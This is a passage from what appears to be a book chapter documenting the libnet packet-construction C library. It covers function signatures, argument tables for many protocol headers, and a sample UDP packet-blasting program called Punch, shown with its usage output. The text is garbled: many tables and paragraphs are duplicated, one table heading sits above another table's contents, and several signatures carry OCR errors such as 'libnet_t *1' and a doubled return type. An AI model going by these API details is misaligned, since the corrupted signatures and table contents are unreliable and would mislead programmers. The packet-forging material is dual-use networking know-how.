redirect header. The function takes arguments (see Table 3.25). The additional arguments enable the
application programmer to easily specify the original IP header values (the IP header of the packet that
supposedly caused the ICMP redirect message in the first place).

Table 3.25: libnet_build_icmpv4_redirect() Arguments



ARGUMENT MEANING

type type of ICMP packet (should be ICMP_REDIRECT)

code code of ICMP packet (should be one of the four redirect codes)

sum checksum

orig_id original IP header identification

orig_frag original IP header fragmentation information

orig_ttl original IP header time to live

orig_prot original IP header protocol

orig_check original IP header checksum

orig_src original IP header source address

orig_dst original IP header destination address

  libnet_ptag_t libnet_build_ipv4(u_short len, u_char tos,
  u_short id, u_short frag, u_char ttl, u_char prot, u_short
  sum, u_long src, u_long dst, u_char *payload, u_long
  payload_s, libnet_t *1, libnet_ptag_t ptag);

libnet_build_ipv4() builds a version 4 RFC 791 Internet Protocol header. The function takes

arguments (see Table 3.26). Table 3.27 summarizes the tos symbolic constants. Table 3.28 summarizes the
frag symbolic constants.

Table 3.26: libnet_build_ipv4() Arguments

ARGUMENT MEANING

len total length of the IP packet



ARGUMENT MEANING

len total length of the IP packet

tos type of service bits

id IP identification number

frag fragmentation bits and offset

ttl time to live in the network

prot upper layer protocol

sum checksum

src source IPv4 address (little endian)

dst destination IPv4 address (little endian)

Table 3.27: libnet_build_ipv4() tos Symbolic Constants

CONSTANT MEANING

IPTOS_LOWDELAY type of service, minimize delay

IPTOS_THROUGHPUT type of service, maximize throughput

IPTOS_RELIABILITY type of service, maximize reliability

IPTOS_LOWCOST type of service, minimize monetary cost

Table 3.28: libnet_build_ipv4() frag Symbolic Constants

CONSTANT MEANING

len total length of the IP packet

tos type of service bits

id IP identification number

frag fragmentation bits and offset

ttl time to live in the network

prot upper layer protocol

sum checksum

src source IPv4 address (little endian)

dst destination IPv4 address (little endian)

Table 3.27: libnet_build_ipv4() tos Symbolic Constants

CONSTANT MEANING

IPTOS_LOWDELAY type of service, minimize delay

IPTOS_THROUGHPUT type of service, maximize throughput

IPTOS_RELIABILITY type of service, maximize reliability

IPTOS_LOWCOST type of service, minimize monetary cost

Table 3.28: libnet_build_ipv4() frag Symbolic Constants



CONSTANT MEANING

IP_RF reserved fragmentation bit

IP_DF don't fragment this datagram

IP_MF more fragments coming

IP_OFFMASK mask used to get offset

The protocol field can be any upper-layer protocol number found in /etc/protocols on any modern UNIX
system. For example, a TCP packet would have this field set to IPPROTO_TCP, and a UDP packet would
have this field set to IPPROTO_UDP.

  libnet_ptag_t libnet_autobuild_ipv4(u_short len, u_char prot,
  u_long dst, libnet_t *1);

libnet_autobuild_ipv4() auto builds a version 4 Internet Protocol header. The function is useful to

build an IP header quickly when you do not need a granular level of control. The function takes the same
len, prot, and dst arguments (see Table 3.26). The function does not accept a ptag argument, but it does

return a ptag. In other words, you can use it to build a new IP header but not to modify an existing one.

  libnet_ptag_t libnet_build_ipv4_options(u_char *options,
  u_long options_s, libnet_t *1, libnet_ptag_t ptag);

libnet_build_ipv4_options() builds an IP version 4 options header. The function takes arguments

(see Table 3.29).

Table 3.29: libnet_build_ipv4_options() Arguments

ARGUMENT MEANING

options the byte string of options

options_s the length of the options string

The function expects options to be a valid IP options string of size options_s, no larger than 40 bytes
(the maximum size of an options string). The function checks to make sure that the preceding header is an
IPv4 header and that the options string would not result in a packet larger than 65,535 bytes (IPMAXPACKET).



The function counts up the number of 32-bit words in the options string and adjusts the IP header length
value as necessary.

  libnet_ptag_t libnet_build_ipv6(u_char tc, u_long fl, u_short
  len, u_char nh, u_char hl, struct libnet_in6_addr src, struct
  libnet_in6_addr dst, u_char *payload, u_long payload_s, libnet_t *l,
  libnet_ptag_t ptag);

libnet_build_ipv6() builds a version 6 RFC 2460 Internet Protocol header. The function takes

arguments (see Table 3.30).

Table 3.30: libnet_build_ipv6() Arguments

ARGUMENT MEANING

tc traffic class

fl flow label

len total length of the IP packet

nh next header

hl hop limit

src source IPv6 address

dst destination IPv6 address

  libnet_ptag_t libnet_build_ntp(u_char leap_indicator, u_char
  version, u_char mode, u_char stratum, u_char poll, u_char
  precision, u_short delay_int, u_short delay_frac, u_short
  dispersion_int, u_short dispersion_frac, u_long reference_id,
  u_long ref_ts_int, u_long ref_ts_frac, u_long orig_ts_int,
  u_long orig_ts_frac, u_long rec_ts_int, u_long rec_ts_frac,
  u_long xmt_ts_int, u_long xmt_ts_frac, u_char *payload,
  u_long payload_s, libnet_t *1, libnet_ptag_t ptag);

libnet_build_ntp() builds a Network Time Protocol header (RFCs 1119 and 1305). The function's



massive argument list appears in Table 3.31.

Table 3.31: libnet_build_ntp() Arguments

ARGUMENT MEANING

leap_indicator leap indicator

version version

mode mode

stratum stratum

poll polling interval (should be between 4–12)

precision precision

delay_int root delay integer

delay_frac root delay fraction

dispersion_int dispersion integer

dispersion_frac dispersion fraction

reference_id reference id

ref_ts_int reference timestamp integer

ref_ts_frac reference timestamp fraction

orig_ts_int originate timestamp integer

orig_ts_frac originate timestamp fraction



ARGUMENT MEANING

orig_ts_frac originate timestamp fraction

rec_ts_int receive timestamp integer

rec_ts_frac receive timestamp fraction

xmt_ts_int transmit timestamp integer

xmt_ts_frac transmit timestamp fraction

Table 3.32 summarizes the leap_indicator symbolic constants.

Table 3.32: libnet_build_ntp() leap Indicator Symbolic Constants

CONSTANT MEANING

LIBNET_NTP_LI_NW no warning

LIBNET_NTP_LI_AS the last minute has 61 seconds

LIBNET_NTP_LI_DS the last minute has 59 seconds

LIBNET_NTP_LI_AC alarm condition

Table 3.33 summarizes the version symbolic constants.

Table 3.33: libnet_build_ntp() version Symbolic Constants

CONSTANT MEANING

LIBNET_NTP_VN_2 version 2

LIBNET_NTP_VN_3 version 3

LIBNET_NTP_VN_4 version 4

orig_ts_frac originate timestamp fraction

rec_ts_int receive timestamp integer

rec_ts_frac receive timestamp fraction

xmt_ts_int transmit timestamp integer

xmt_ts_frac transmit timestamp fraction

Table 3.32 summarizes the leap_indicator symbolic constants.

Table 3.32: libnet_build_ntp() leap Indicator Symbolic Constants

CONSTANT MEANING

LIBNET_NTP_LI_NW no warning

LIBNET_NTP_LI_AS the last minute has 61 seconds

LIBNET_NTP_LI_DS the last minute has 59 seconds

LIBNET_NTP_LI_AC alarm condition

Table 3.33 summarizes the version symbolic constants.

Table 3.33: libnet_build_ntp() version Symbolic Constants

CONSTANT MEANING

LIBNET_NTP_VN_2 version 2

LIBNET_NTP_VN_3 version 3

LIBNET_NTP_VN_4 version 4



Table 3.34 summarizes the mode symbolic constants.

Table 3.34: libnet_build_ntp() mode Symbolic Constants

CONSTANT MEANING

LIBNET_NTP_MODE_R reserved

LIBNET_NTP_MODE_A symmetric active

LIBNET_NTP_MODE_P symmetric passive

LIBNET_NTP_MODE_C client

LIBNET_NTP_MODE_S server

LIBNET_NTP_MODE_B broadcast

LIBNET_NTP_MODE_RC reserved for NTP control messages

LIBNET_NTP_MODE_RP reserved for private use

Table 3.35 summarizes the stratum symbolic constants. In addition to those listed, the NTP protocol specifies
that stratum values from 0x2-0xf are considered secondary, and values from 0x10-0xff are reserved.

Table 3.35: libnet_build_ntp() stratum Symbolic Constants

CONSTANT MEANING

LIBNET_NTP_STRATUM_UNAVAIL unspecified or unavailable

LIBNET_NTP_STRATUM_PRIMARY primary reference (radio clock)

Table 3.36 summarizes the reference_id symbolic constants.

Table 3.36: libnet_build_ntp() reference id Symbolic Constants



CONSTANT MEANING

LIBNET_NTP_REF_LOCAL uncalibrated local clock

LIBNET_NTP_REF_PPS atomic / pps clock

LIBNET_NTP_REF_ACTS NIST dial-up modem

LIBNET_NTP_REF_USNO USNO modem service

LIBNET_NTP_REF_PTB PTB (German) modem service

LIBNET_NTP_REF_TDF Allouis (French) radio

LIBNET_NTP_REF_DCF MainFlingen (German) radio

LIBNET_NTP_REF_MSF Rugby (UK) radio

LIBNET_NTP_REF_WWV Ft. Collins (US) radio

LIBNET_NTP_REF_WWVB Boulder (US) radio

LIBNET_NTP_REF_WWVH Kaui Hawaii (US) radio

LIBNET_NTP_REF_CHU Ottawa (Canada) radio

LIBNET_NTP_REF_LORC LORAN-C radionavigation

LIBNET_NTP_REF_OMEG OMEGA radionavigation

LIBNET_NTP_REF_GPS global positioning system

LIBNET_NTP_REF_GOES geostationary orbit environment satellite



  libnet_ptag_t libnet_build_ospfv2(u_short len, u_char type,
  u_long rtr_id, u_long area_id, u_short sum, u_short autype,
  u_char *payload, u_long payload_s, libnet_t *1,
  libnet_ptag_t ptag);

libnet_build_ospfv2() builds a version 2 RFC 2328 Open Shortest Path First Protocol header. This

function builds the top level OSPF header while the functions following it build OSPF subheaders. The
function takes arguments (see Table 3.37). Table 3.38 summarizes the type symbolic constants. Table 3.39
summarizes the autype symbolic constants.

Table 3.37: libnet_build_ospfv2() Arguments

ARGUMENT MEANING

len total length of the OSPF packet

type type of OSPF packet

rtr_id source router id

area_id roaming id

sum checksum

autype authentication type

Table 3.38: libnet_build_ospfv2() type Symbolic Constants

CONSTANT MEANING

LIBNET_OSPF_HELLO hello packet

LIBNET_OSPF_DBD database description packet

LIBNET_OSPF_LSR link state request packet

LIBNET_OSPF_LSU link state update packet



CONSTANT MEANING

LIBNET_OSPF_LSU link state update packet

LIBNET_OSPF_LSA link state acknowledgement packet

Table 3.39: libnet_build_ospfv2() autype Symbolic Constants

CONSTANT MEANING

LIBNET_OSPF_AUTH_NULL no authentication

LIBNET_OSPF_AUTH_SIMPLE simple eight character password

LIBNET_OSPF_AUTH_MD5 MD5 hash

  libnet_ptag_t libnet_build_ospfv2_hello(u_long netmask,
  u_short interval, u_char opts, u_char priority, u_int
  dead_int, u_long des_rtr, u_long bkup_rtr, u_long neighbor,
  u_char *payload, u_long payload_s, libnet_t *1,
  libnet_ptag_t ptag);

libnet_build_ospfv2_hello() builds an Open Shortest Path First Protocol Hello header. The function

takes arguments (see Table 3.40).

Table 3.40: libnet_build_ospfv2_hello() Arguments

ARGUMENT MEANING

netmask netmask associated with the interface

interval number of seconds between the router's last packet

opts options

priority router priority

dead_int number of seconds of silence before router is deemed down

LIBNET_OSPF_LSU link state update packet

LIBNET_OSPF_LSA link state acknowledgement packet

Table 3.39: libnet_build_ospfv2() autype Symbolic Constants

CONSTANT MEANING

LIBNET_OSPF_AUTH_NULL no authentication

LIBNET_OSPF_AUTH_SIMPLE simple eight character password

LIBNET_OSPF_AUTH_MD5 MD5 hash

  libnet_ptag_t libnet_build_ospfv2_hello(u_long netmask,
  u_short interval, u_char opts, u_char priority, u_int
  dead_int, u_long des_rtr, u_long bkup_rtr, u_long neighbor,
  u_char *payload, u_long payload_s, libnet_t *1,
  libnet_ptag_t ptag);

libnet_build_ospfv2_hello() builds an Open Shortest Path First Protocol Hello header. The function

takes arguments (see Table 3.40).

Table 3.40: libnet_build_ospfv2_hello() Arguments

ARGUMENT MEANING

netmask netmask associated with the interface

interval number of seconds between the router's last packet

opts options

priority router priority



ARGUMENT MEANING

dead_int number of seconds of silence before router is deemed down

des_rtr designated router

bkup_rtr backup router

neighbor neighbor router

You can add additional neighbor routers as needed by using either the pay-load interface or
libnet_build_data().

  libnet_ptag_t libnet_build_ospfv2_dbd(u_short dgram_len,
  u_char opts, u_char type, u_int seqnum, u_char *payload,
  u_long payload_s, libnet_t *1, libnet_ptag_t ptag);

libnet_build_ospfv2_dbd() builds an OSPF database description header. The function takes

arguments (see Table 3.41). The type symbolic constants appear in Table 3.42.

Table 3.41: libnet_build_ospfv2_dbd() Arguments

ARGUMENT MEANING

dgram_len MTU of interface

opts options

type type of exchange

seqnum dbd sequence number

Table 3.42: libnet_build_ospfv2_dbd() type Symbolic Constants

CONSTANT MEANING

LIBNET_DBD_IBI initialization

dead_int number of seconds of silence before router is deemed down

des_rtr designated router

bkup_rtr backup router

neighbor neighbor router

You can add additional neighbor routers as needed by using either the pay-load interface or
libnet_build_data().

  libnet_ptag_t libnet_build_ospfv2_dbd(u_short dgram_len,
  u_char opts, u_char type, u_int seqnum, u_char *payload,
  u_long payload_s, libnet_t *1, libnet_ptag_t ptag);

libnet_build_ospfv2_dbd() builds an OSPF database description header. The function takes

arguments (see Table 3.41). The type symbolic constants appear in Table 3.42.

Table 3.41: libnet_build_ospfv2_dbd() Arguments

ARGUMENT MEANING

dgram_len MTU of interface

opts options

type type of exchange

seqnum dbd sequence number

Table 3.42: libnet_build_ospfv2_dbd() type Symbolic Constants

CONSTANT MEANING



CONSTANT MEANING

LIBNET_DBD_IBI initialization

LIBNET_DBD_MBIT more DBD packets en route

LIBNET_DBD_MSBIT sender is master during this exchange

  libnet_ptag_t libnet_build_ospfv2_lsr(u_int type, u_int lsid,
  u_long advrtr, u_char *payload, u_long payload_s, libnet_t
  *1, libnet_ptag_t ptag);

libnet_build_ospfv2_lsr() builds an OSPF link state request header. The function takes arguments

(see Table 3.43).

Table 3.43: libnet_build_ospfv2_lsr() Arguments

ARGUMENT MEANING

type type of link state

lsid link state id

advrtr advertising router

All link state packets use type symbolic constants summarized in Table 3.44. You can add additional advrtr
routers as needed by using the payload interface or libnet_build_data().

Table 3.44: libnet_build_ospfv2_lsr() type Symbolic Constants

CONSTANT MEANING

LIBNET_LS_TYPE_RTR router LSA

LIBNET_LS_TYPE_NET network LSA

LIBNET_LS_TYPE_IP summary LSA (IP Network)

LIBNET_DBD_IBI initialization

LIBNET_DBD_MBIT more DBD packets en route

LIBNET_DBD_MSBIT sender is master during this exchange

  libnet_ptag_t libnet_build_ospfv2_lsr(u_int type, u_int lsid,
  u_long advrtr, u_char *payload, u_long payload_s, libnet_t
  *1, libnet_ptag_t ptag);

libnet_build_ospfv2_lsr() builds an OSPF link state request header. The function takes arguments

(see Table 3.43).

Table 3.43: libnet_build_ospfv2_lsr() Arguments

ARGUMENT MEANING

type type of link state

lsid link state id

advrtr advertising router

All link state packets use type symbolic constants summarized in Table 3.44. You can add additional advrtr
routers as needed by using the payload interface or libnet_build_data().

Table 3.44: libnet_build_ospfv2_lsr() type Symbolic Constants

CONSTANT MEANING

LIBNET_LS_TYPE_RTR router LSA

LIBNET_LS_TYPE_NET network LSA



CONSTANT MEANING

LIBNET_LS_TYPE_IP summary LSA (IP Network)

LIBNET_LS_TYPE_ASBR summary-LSA (ASBR)

LIBNET_LS_TYPE_ASEXT AS external LSA

  libnet_ptag_t libnet_build_ospfv2_lsu(u_int num, u_char
  *payload, u_long payload_s, libnet_t *l, libnet_ptag_t ptag);

libnet_build_ospfv2_lsu() builds an OSPF link state update header. num contains the number of link

state advertisements to be broadcasted.

  libnet_ptag_t libnet_build_ospfv2_lsa(u_short age, u_char
  opts, u_char type, u_int lsid, u_long advrtr, u_int seqnum,
  u_short sum, u_short len, u_char *payload, u_long
  payload_s, libnet_t *1, libnet_ptag_t ptag);

libnet_build_ospfv2_lsa() builds an OSPF link state acknowledgment header. The function takes

arguments (see Table 3.45).

Table 3.45: libnet_build_ospfv2_lsa() Arguments

ARGUMENT MEANING

age time in seconds since LSA originated

opts options

type type

lsid link state id

advrtr advertising router

seqnum sequence number

LIBNET_LS_TYPE_IP summary LSA (IP Network)

LIBNET_LS_TYPE_ASBR summary-LSA (ASBR)

LIBNET_LS_TYPE_ASEXT AS external LSA

  libnet_ptag_t libnet_build_ospfv2_lsu(u_int num, u_char
  *payload, u_long payload_s, libnet_t *l, libnet_ptag_t ptag);

libnet_build_ospfv2_lsu() builds an OSPF link state update header. num contains the number of link

state advertisements to be broadcasted.

  libnet_ptag_t libnet_build_ospfv2_lsa(u_short age, u_char
  opts, u_char type, u_int lsid, u_long advrtr, u_int seqnum,
  u_short sum, u_short len, u_char *payload, u_long
  payload_s, libnet_t *1, libnet_ptag_t ptag);

libnet_build_ospfv2_lsa() builds an OSPF link state acknowledgment header. The function takes

arguments (see Table 3.45).

Table 3.45: libnet_build_ospfv2_lsa() Arguments

ARGUMENT MEANING

age time in seconds since LSA originated

opts options

type type

lsid link state id

advrtr advertising router



ARGUMENT MEANING

seqnum sequence number

sum checksum

len length of LSA packet

  libnet_ptag_t libnet_build_rip(u_char cmd, u_char version,
  u_short rd, u_short af, u_short rt, u_long addr, u_long mask,
  u_long next_hop, u_long metric, u_char *payload, u_long
  payload_s, libnet_t *1, libnet_ptag_t ptag);

libnet_build_rip() builds a Routing Information Protocol header (RFCs 1058 and 2453). The function
takes arguments (see Table 3.46). Table 3.47 summarizes the RIP cmd symbolic constants.

Table 3.46: libnet_build_rip() Arguments

ARGUMENT MEANING

cmd command

version version

rd zero (vl) or routing domain (v2)

af address family

rt zero (v1) or route tag (v2)

addr IP address

mask zero (vl) or subnet mask (v2)

next_hop zero (vl) or next hop IP address (v2)

seqnum sequence number

sum checksum

len length of LSA packet

  libnet_ptag_t libnet_build_rip(u_char cmd, u_char version,
  u_short rd, u_short af, u_short rt, u_long addr, u_long mask,
  u_long next_hop, u_long metric, u_char *payload, u_long
  payload_s, libnet_t *1, libnet_ptag_t ptag);

libnet_build_rip() builds a Routing Information Protocol header (RFCs 1058 and 2453). The function
takes arguments (see Table 3.46). Table 3.47 summarizes the RIP cmd symbolic constants.

Table 3.46: libnet_build_rip() Arguments

ARGUMENT MEANING

cmd command

version version

rd zero (vl) or routing domain (v2)

af address family

rt zero (v1) or route tag (v2)

addr IP address

mask zero (vl) or subnet mask (v2)

next_hop zero (vl) or next hop IP address (v2)



ARGUMENT MEANING

next_hop zero (vl) or next hop IP address (v2)

metric routing metric

Table 3.47: libnet_build_rip() command Symbolic Constants

CONSTANT MEANING

RIPCMD_REQUEST request

RIPCMD_RESPONSE response

RIPCMD_TRACEON turn tracing on

RIPCMD_TRACEOFF turn tracing off

RIPCMD_POLL like a request, but anyone answers

RIPCMD_POLLENTRY like a poll, but for entire entry

  libnet_ptag_t libnet_build_stp(u_short id, u_char version,
  u_char bpdu_type, u_char flags, u_char *root_id, u_long
  root_pc, u_char *bridge_id, u_short port_id, u_short

  message_age, u_short max_age, u_short hello_time, u_short
  f_delay, u_char *payload, u_long payload_s, libnet_t *1,
  libnet_ptag_t ptag);

libnet_build_stp() builds an IEEE 802.1d Spanning Tree Protocol header. The function takes

arguments (see Table 3.48).

Table 3.48: libnet_build_stp() Arguments

ARGUMENT MEANING

next_hop zero (vl) or next hop IP address (v2)

metric routing metric

Table 3.47: libnet_build_rip() command Symbolic Constants

CONSTANT MEANING

RIPCMD_REQUEST request

RIPCMD_RESPONSE response

RIPCMD_TRACEON turn tracing on

RIPCMD_TRACEOFF turn tracing off

RIPCMD_POLL like a request, but anyone answers

RIPCMD_POLLENTRY like a poll, but for entire entry

  libnet_ptag_t libnet_build_stp(u_short id, u_char version,
  u_char bpdu_type, u_char flags, u_char *root_id, u_long
  root_pc, u_char *bridge_id, u_short port_id, u_short

  message_age, u_short max_age, u_short hello_time, u_short
  f_delay, u_char *payload, u_long payload_s, libnet_t *1,
  libnet_ptag_t ptag);

libnet_build_stp() builds an IEEE 802.1d Spanning Tree Protocol header. The function takes

arguments (see Table 3.48).

Table 3.48: libnet_build_stp() Arguments



ARGUMENT MEANING

id protocol id

version protocol version

bpdu_type bridge protocol data unit type

flags flags

root_id root id

root_pc root path cost

bridge_id bridge id

port_id port id

message_age message age

max_age max age

hello_time hello time

f_delay forward delay

  libnet_ptag_t libnet_ptag_t libnet_build_tcp(u_short sp,
  u_short dp, u_long seq, u_long ack, u_char control, u_short
  win, u_short sum, u_short urg, u_short len, u_char *payload,
  u_long payload_s, libnet_t *1, libnet_ptag_t ptag);

libnet_build_tcp() builds an RFC 793 Transmission Control Protocol header. The function takes

arguments (see Table 3.49). Table 3.50 summarizes the TCP control flag symbolic constants.

Table 3.49: libnet_build_tcp() Argument



ARGUMENT MEANING

sp source port

dp destination port

seq sequence number

ack acknowledgment number

control control flags

win window size

sum checksum

len total length of the TCP packet

Table 3.50: libnet_build_tcp() control flag Symbolic Constants

CONSTANT MEANING

TH_FIN finished sending data

TH_SYN synchronize sequence numbers

TH_RST reset the connection

TH_PUSH push data to the application layer

TH_ACK acknowledgment field should be checked

TH_URG packet contains urgent data pointed to by the urgent pointer



  libnet_ptag_t libnet_build_tcp_options(u_char *options,
  u_long options_s, libnet_t *1, libnet_ptag_t ptag);

libnet_build_tcp_options() builds a TCP options header. The function takes arguments (see Table

3.51).

Table 3.51: libnet_build_tcp_options() Arguments

ARGUMENT MEANING

options the byte string of options

options_s the length of the options string

The function expects options to be a valid TCP options string of size options_s, which is no larger than 40
bytes (the maximum size of an options string). The function checks to make sure that the packet consists

of a TCP header preceded by an IPv4 header and that the addition of the options string would not result in a
packet larger than 65,535 bytes (IPMAXPACKET). The function counts the number of 32-bit words in the
options string and adjusts the TCP header length value as necessary.

  libnet_ptag_t libnet_build_udp(u_short sp, u_short dp,
  u_short len, u_short sum, u_char *payload, u_long payload_s,
  libnet_t *1, libnet_ptag_t ptag);

libnet_build_udp() builds an RFC 768 User Datagram Protocol (UDP) header. The function takes

arguments (see Table 3.52).

Table 3.52: libnet_build_udp() Arguments

ARGUMENT MEANING

sp source port

dp destination port

len total length of the UDP packet

sum checksum



  libnet_ptag_t libnet_build_vrrp(u_char version, u_char type,
  u_char vrouter_id, u_char priority, u_char ip_count, u_char
  auth_type, u_char advert_int, u_short sum, u_char *payload,
  u_long payload_s, libnet_t *l,libnet_ptag_t ptag);

libnet_build_vrrp() builds an RFC 2338 Virtual Router Redundancy Protocol header. The function

takes arguments (see Table 3.53).

Table 3.53: libnet_build_vrrp() Arguments

ARGUMENT MEANING

version version

type type of VRRP packet

vrouter_id virtual router id

priority priority

ip_count number of IP addresses

auth_type authentication type

advert_int advertisement interval

sum checksum

ver should either be LIBNET_VERP_VERSION_01 for version one or LIB-NET_VRRP_VERSION_02 for

version two. At this writing, libnet only has intrinsic support for VRRP advertisements; the type should be
LIBNET_VRRP_TYPE_ADVERT. You can add IP addresses as needed by using the pay-load interface or
libnet_build_data(). Table 3.54 summarizes the auth_type symbolic constants.

Table 3.54: libnet_build_vrrp() authentication type Symbolic Constants

CONSTANT MEANING

LIBNET_VRRP_AUTH_NONE No authentication



CONSTANT MEANING

LIBNET_VRRP_AUTH_PASSWD Password authentication

LIBNET_VRRP_AUTH_IPAH IPsec-based authentication

  int libnet_toggle_checksum(libnet_t *1, libnet_ptag_t ptag,
  int mode);

libnet_toggle_checksum() controls the disposition of libnet's automatic checksum calculation feature
for the protocol block that ptag referenced. If mode is LIBNET_ON, then libnet computes the proper
checksum for the ptag in question (assuming that it has a checksum field). If mode is LIB-NET_OFF, libnet
will not compute the checksum. Upon success, the function returns 1; upon failure, the function returns -1
and libnet_geterror() tells you why.

 

LIBNET_VRRP_AUTH_PASSWD Password authentication

LIBNET_VRRP_AUTH_IPAH IPsec-based authentication

  int libnet_toggle_checksum(libnet_t *1, libnet_ptag_t ptag,
  int mode);

libnet_toggle_checksum() controls the disposition of libnet's automatic checksum calculation feature
for the protocol block that ptag referenced. If mode is LIBNET_ON, then libnet computes the proper
checksum for the ptag in question (assuming that it has a checksum field). If mode is LIB-NET_OFF, libnet
will not compute the checksum. Upon success, the function returns 1; upon failure, the function returns -1
and libnet_geterror() tells you why.

 



 

Port List Functions

The following functions initialize and manipulate libnet port list chains. The port list interface is a memory-
efficient way to implement ranges of TCP and UDP ports.

  int libnet_plist_chain_new(libnet_t *1, libnet_plist_t
  **head, char *tok_list);

libnet_plist_chain_new() initializes a libnet port list chain that is useful for TCP and UDP-based
application. The port list chain, which tok_list points to, should contain a series of characters from the
following list: "0123456789,-" of the general format "x - y, z" where "xyz" are port numbers between 0 and
65,535. head points to the front of the port list chain list for use in further libnet_plist_chain()
functions. Upon success, the function returns 1. Upon failure, the function returns -1 and
libnet_geterror() tells you why. A legal port list chain string can consist of the following items:

1-1024,6000-6010 (ports 1 through 1024 and 6000 through 6010)

23 (only port 23)

1 - — all ports inclusive to 65,535

  int libnet_plist_chain_next_pair(libnet_plist_t *p, u_short
  *bport, u_short *eport);

libnet_plist_chain_next_pair() returns the next port list chain pair from the port list chain p.bport
and eport contain the starting port number and ending port number, respectively. Upon success, the
function returns 1 and fills in the port variables; however, if the list is empty, the function returns 0 and sets
both port variables to 0. Upon failure, the function returns -1.

  int libnet_plist_chain_dump(libnet_plist_t *p);

libnet_plist_chain_dump() dumps the port chain list to which p refers to stdout.

  u_char *libnet_plist_chain_dump_string(libnet_plist_t *p);

libnet_plist_chain_dump_string() returns the port chain list to which p refers.

  int libnet_plist_chain_free(libnet_plist_t *p);

libnet_plist_chain_free() frees the memory associated with the port list chain to which p refers.



 



 

Ancillary Functions

Libnet's monolithic context structure contains a great deal of useful information. The following functions pull
various bits of information from libnet's innards.

  char *libnet_geterror(libnet_t *1);

libnet_geterror() is libnet's ubiquitous error retrieving function. It culls the last error message that was
posted within the context of the libnet descriptor referenced by 1 and returns the string. If no libnet error has
occurred, the function returns NULL.

  int libnet_getfd(libnet_t *1);

libnet_getfd() returns the file descriptor of the underlying packet injection interface. Upon success, the

function returns the file descriptor number. This function does not fail.

  char *libnet_getdevice(libnet_t *1);

libnet_getdevice() returns the canonical name of the device of the underlying packet injection

interface. Upon success, the function returns the name of the device. This function does not fail.

  u_char *libnet_getpbuf(libnet_t *1, libnet_ptag_t ptag);

libnet_getpbuf() returns the packet buffer for the protocol block that ptag references. Upon success,
the function returns a pointer to the buffer. Upon failure, the function returns 0 and libnet_geterror()

tells you why.

  u_long libnet_getpbuf_size(libnet_t *1, libnet_ptag_t ptag);

libnet_getpbuf_size() returns the size of the packet buffer for the protocol block that ptag references.
Upon success, the function returns the size in bytes. Upon failure, the function returns 0 and
libnet_geterror() tells you why.

  void libnet_stats(libnet_t *1, struct libnet_stats *ls);

libnet_stats() fills in a libnet statistics structure Is for the libnet descriptor 1. The function does not fail.

 



 

Advanced-Mode Functions

In order to provide additional power and flexibility, libnet exports an advanced interface to seasoned
application programmers. While at the time of writing this interface was still in development, it effectively
affords the application programmer more control over the state machine and packet logic that is internal to
libnet. Some additional functionality is enabled internally, and all of the libnet_adv() functions are

accessible as well (which are otherwise inaccessible). As some of the advanced features are more
complicated and could result in program crashes, this mode is not recommended for novice programmers.

  int libnet_adv_cull_packet(libnet_t *1, u_char **packet,
  u_long *packet_s);

libnet_adv_cull_packet() reaches into the innards of libnet and pulls out the current packet
referenced by 1 and writes it to packet and its length to packet_s. The function runs through the internal

packet chain list and puts the packet together and computes any outstanding checksums. Upon success the
function returns 1; upon failure the function returns -1 and libnet_geterror() can tell you why.

  int libnet_adv_write_link(libnet_t *1, u_char *packet, u_long
  packet_s);

libnet_adv_write_link() writes a fully completed wire-ready packet contained in packet to the
network. The packet should be packet_s bytes long and 1 should refer to an already instantiated libnet

session. This function allows the application programmer to obviate the packet creation logic inside of libnet
and write his own packets to the wire. Upon success the function returns the number of bytes written; upon
failure the function returns -1 and libnet_geterror() can tell you why.

 



 

Psuedo-Random Number Functions

These functions implement the libnet pseudo-random number interface.

  int libnet_seed_prand(libnet_t *1);

libnet_seed_prand() seeds libnet's pseudo-random number generator with a call to
gettimeofday(), which provides more entropy than time(). Upon success, the function returns 1;
upon failure, the function returns -1 and libnet_geterror() tells you that gettimeofday() failed.

  u_long libnet_get_prand(int type);

libnet_get_prand() returns a positive pseudo-random number within the range specified in type, as

summarized in Table 3.55.

Table 3.55: libnet_get_prand() type Symbolic Constants

CONSTANT MEANING

LIBNET_PR2 0-1

LIBNET_PR8 0-255

LIBNET_PR16 0 - 32767

LIBNET_PRu16 0 - 65535

LIBNET_PR32 0 - 2147483647

LIBNET_PRu32 0 - 4294967295

 



 

Sample Program—Punch

The following program illustrates some of the basic functionalities of libnet-1.1.0. Punch is a small UDP packet
blaster. It builds a series of UDP datagrams by using the link-layer interface and furiously sends them to the user-
specified destination. The user determines the number of datagrams sent by using the port list argument. The
user can also specify an optional payload to include with each packet.

Punch is moderately useful for network and OS performance testing. With no arguments, Punch displays its
usage as follows:

  tradecraft: # ./punch
  punch 1.0 [UDP packet shaping/blasting tool]
  usage: ./punch:
  -s ip               Source IP address
  -d ip               Destination IP address
  -p port list        UDP port list (x-y,z)
  [-f]                Fast mode, minimal screen output
  [-p payload]        payload
  [-s usec]           Microsecond pause between writing

A sample invocation of Punch is as follows:

  tradecraft:~# ./punch -s10.1.2.3 -d10.1.2.4 -p7,53,161,200-210 -
  p".........."
  punch 1.0 [UDP packet shaping/blasting tool]
  wrote 52 byte UDP packet to port 7
  wrote 52 byte UDP packet to port 53
  wrote 52 byte UDP packet to port 161
  wrote 52 byte UDP packet to port 200
  wrote 52 byte UDP packet to port 201
  wrote 52 byte UDP packet to port 202
  wrote 52 byte UDP packet to port 203
  wrote 52 byte UDP packet to port 204
  wrote 52 byte UDP packet to port 205
  wrote 52 byte UDP packet to port 206
  wrote 52 byte UDP packet to port 207
  wrote 52 byte UDP packet to port 208
  wrote 52 byte UDP packet to port 209
  wrote 52 byte UDP packet to port 210
  
  Time spent in loop: 0.3233 seconds
  Packets sent: 14
  Packet errors: 0
  Bytes written: 728

Punch successfully wrote 14 UDP packets, each 52 bytes long, to a small series of ports on host 10.1.2.4 from
host 10.1.2.3. The 52-byte packet consists of the following components: an Ethernet header of 14 bytes, an IP



header of 20 bytes, a UDP header of 8 bytes, and a payload of 10 bytes. The time spent in the UDP construction
and packet injection loop is displayed for use as a loose metric for measuring the system's performance (possibly
against other machines running the same code). Another sample invocation of Punch is as follows:

  tradecraft:~# ./punch -s 10.1.2.3 -d 10.1.2.4 -p1- -f
  -p"..........."
  punch 1.0 [UDP packet shaping/blasting tool]
  .
  Time spent in loop: 8.406499 seconds
  Packets sent: 65535
  Packet errors: 0
  Bytes written: 3407820

Here, Punch invokes in "fast" mode with a port list argument specifying the entire range of UDP ports (and again
with the same payload). Punch's fast mode reduces the relatively CPU-expensive screen output to almost
nothing, which enables the user to get a better assessment of the time requirements entailed in packet
